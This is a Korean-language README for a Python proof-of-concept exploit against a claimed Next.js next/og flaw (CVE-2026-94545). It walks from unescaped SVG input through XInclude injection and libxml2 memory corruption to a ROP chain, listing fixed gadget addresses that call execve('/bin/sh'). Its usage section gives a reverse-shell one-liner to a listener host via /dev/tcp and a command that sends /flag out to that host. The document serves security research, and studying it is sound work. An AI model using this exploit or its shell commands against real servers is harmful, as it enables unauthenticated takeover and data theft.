
CVE-2026-94545에 대한 Python PoC: Next.js next/og의 이스케이프되지 않은 SVG 입력을 악용하여 libxml2 손상과 인증되지 않은 RCE를 위한 ROP 체인을 트리거합니다.
next/og 인증되지 않은 원격 코드 실행보안 연구 전용, 권한이 부여된 취약점 환경에서만 사용하십시오.
| 항목 | 값 |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| 업스트림 | Satori GHSA-wx4j-mvgx-mqwp |
| 근본 원인 | CWE-116 (출력의 부적절한 인코딩 또는 이스케이프) → 네이티브 XML 파서 메모리 손상 → RCE |
| 영향받는 버전 | Next.js 16.2.0 – 16.3.5 (sharp가 설치된 Node 런타임); 번들된 Satori ≥ 0.0.27 및 < 0.33.5 |
| 수정 버전 | Next.js 16.3.6 / Satori 0.33.5 |
| 영향 | 인증 없이 Next.js 서비스 프로세스에서 임의 명령 실행 |
| 테스트 환경 | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + Node.js v24.20.0 공식 x64 바이너리 (non-PIE) |
Edge 런타임(export const runtime = 'edge')을 사용하거나 sharp가 설치되지 않은 경우, 렌더링은 resvg-wasm 샌드박스를 거치므로 이 취약점은 네이티브 파싱 체인에 도달하지 않으며 따라서 RCE로 이어지지 않습니다.
사용자 입력이 일반 텍스트로 SVG에 연결되고, 이 SVG는 통째로 data: URL에 삽입되어 C 언어 XML 파서에 전달되어 두 번째 파싱 라운드를 거칩니다. 그 사이에는 URL 인코딩만 수행되며, XML 이스케이프는 전혀 이루어지지 않습니다.
전형적인 패턴: POST /api/og가 전체 요청 본문을, 또는 GET /api/og?value=가 쿼리 매개변수를 필터링이나 이스케이프 없이 ImageResponse의 SVG <title>에 직접 삽입합니다.
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse는 JSX 엘리먼트 트리를 받아 PNG를 반환합니다. 요청 데이터를 SVG 자식 노드 / 속성 / 스타일에 기록하는 모든 라우트는 싱크(sink)입니다.
next/og 진입점 포워딩node_modules/next/og.js는 next/dist/server/og/image-response.js로 포워딩합니다. Node 런타임은 next/dist/compiled/@vercel/og/index.node.js(네이티브 경로)를 동적으로 로드하며, Edge 런타임은 wasm 경로를 로드하므로 이 취약점의 영향을 받지 않습니다.
@vercel/og — Satori가 SVG를 생성한 뒤 래스터화를 위해 넘김Next.js에 번들된 @vercel/og(컴파일된 아티팩트 주석을 통해 [email protected]이 포함되어 있음이 확인됨)의 흐름은 다음과 같습니다:
sharp가 감지되면 SVG를 네이티브 라이브러리에 넘겨 래스터화하고, 그렇지 않으면 resvg-wasm으로 폴백합니다.const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
이 시점에서 사용자 입력은 이미 SVG 문자열이 되어 sharp(네이티브 libvips)에 그대로 전달됩니다.
JSX로 명시적으로 작성된 <svg>의 경우, Satori는 이를 전체적으로 data:image/svg+xml URL로 직렬화한 다음 출력에 <image>로 삽입합니다.
vercel/[email protected] src/layout.ts: <svg> 노드에 진입할 때 SVGNodeToImage를 호출합니다.
src/handler/preprocess.ts에는 두 가지 핵심 결함이 있습니다:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&, <, >는 & / < / >로 작성되지 않습니다. 퍼센트 인코딩은 단지 URL 구문 요구 사항일 뿐입니다. 다운스트림 파서가 data: URL을 로드할 때 %3C/title%3E는 실제 </title>로 복원되며, 공격자의 텍스트는 "데이터"에서 다시 "문서 구조"로 전환됩니다.
입력이 </title><xi:include …/><title>일 때, Satori가 sharp에 전달하는 중간 SVG는 다음과 같은 형태를 취합니다(설명을 위해 디코딩됨):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
페이로드는 libxml2의 입력 구조를 제어하기 위해 두 계층의 인젝션을 사용합니다:
</title><xi:include parse="xml" href="data:…">는 파서가 공격자가 완전히 제어하는 중첩 문서를 로드하도록 만듭니다.libxml2의 내부 상태가 예상을 넘어 밀려나면서 범위를 벗어난 쓰기(out-of-bounds write)가 발생합니다. 손상 효과는 신중하게 배치된 SVG <path> 좌표 시퀀스(8바이트 리틀 엔디언 워드를 담은 IEEE-754 배정밀도)를 통해 안정적으로 발생하여 제어 흐름을 탈취합니다.
execve공식 배포되는 Node.js linux-x64 바이너리는 고정 로드 베이스를 가진 non-PIE 실행 파일이며, PLT / GOT 및 가젯 주소가 상수이므로 정보 유출이 필요하지 않습니다.
이 PoC는 Node.js v24.20.0 공식 x64를 대상으로 빌드되었으며, 가젯은 다음과 같습니다:
| 심볼 | 주소 | 용도 |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret (스크래치 영역에 qword 단위로 기록) |
EXECVE_PLT | 0x745FA0 | execve의 PLT 스텁 |
SCRATCH | 0x6B5F500 | 고정 쓰기 가능 주소 |
ROP 체인은 먼저 pop rax / stosq를 사용하여 "/bin/sh\0", "-c\0", 명령 문자열, argv 배열을 SCRATCH에 qword 단위로 기록한 다음, rdi = path, rsi = argv, rdx = envp(0)를 설정하고 EXECVE_PLT로 점프합니다:
execve("/bin/sh", ["/bin/sh", "-c", "<command>"], NULL)
렌더링 프로세스 자체가 execve로 대체되며, HTTP 연결이 끊기고 서비스가 응답을 중단합니다. 이는 이 취약점의 성공적인 악용이 나타내는 본질적인 현상입니다. 새 프로세스는 Node 프로세스 환경을 상속하며 임의의 명령을 실행할 수 있습니다.
exploit.py는 Python 3 표준 라이브러리로 구현되었으며, 서드파티 의존성이 없습니다. 명령을 SVG <path> 좌표로 인코딩한 다음, XInclude + 중첩 DTD 엔티티를 통해 /api/og로 POST되는 페이로드를 조립합니다.
ROP 체인은 위에서 설명한 Node v24.20.0 / sharp 0.35.4 스택에 맞춰 보정되었습니다. 대상은 다음 조건을 충족해야 합니다:
runtime = 'nodejs', sharp 설치됨<title>을 통해 닫힘)엄격한 제약 사항:
/bin/sh는 일반적으로 dash이며, 이는 >/dev/tcp/...를 지원하지 않습니다. /dev/tcp가 필요할 때는 bash -c '...'로 감싸야 합니다.--output을 사용해 페이로드만 생성한 다음, curl로 직접 전달하십시오.수신 측에서 먼저 리스너를 시작하거나, 스크립트가 nc를 직접 실행하도록 하십시오:
# In another terminal on your machine
nc -lvnp 4444
python3 exploit.py --target <host>:<port> --lhost <lhost>:4444
--lhost가 --command 없이 주어지면, 스크립트는 다음을 생성합니다:
bash -c 'bash -i>&/dev/tcp/<lhost>/<port> 0>&1'
셸을 확보한 후에는 파일을 읽고 후속 명령을 실행할 수 있습니다. 전체 명령이 여전히 71바이트 제한을 받는다는 점에 유의하세요.
# Receiver
nc -lvnp 4444
python3 exploit.py --target <host>:<port> \
--command 'bash -c "cat /flag>/dev/tcp/<lhost>/4444"'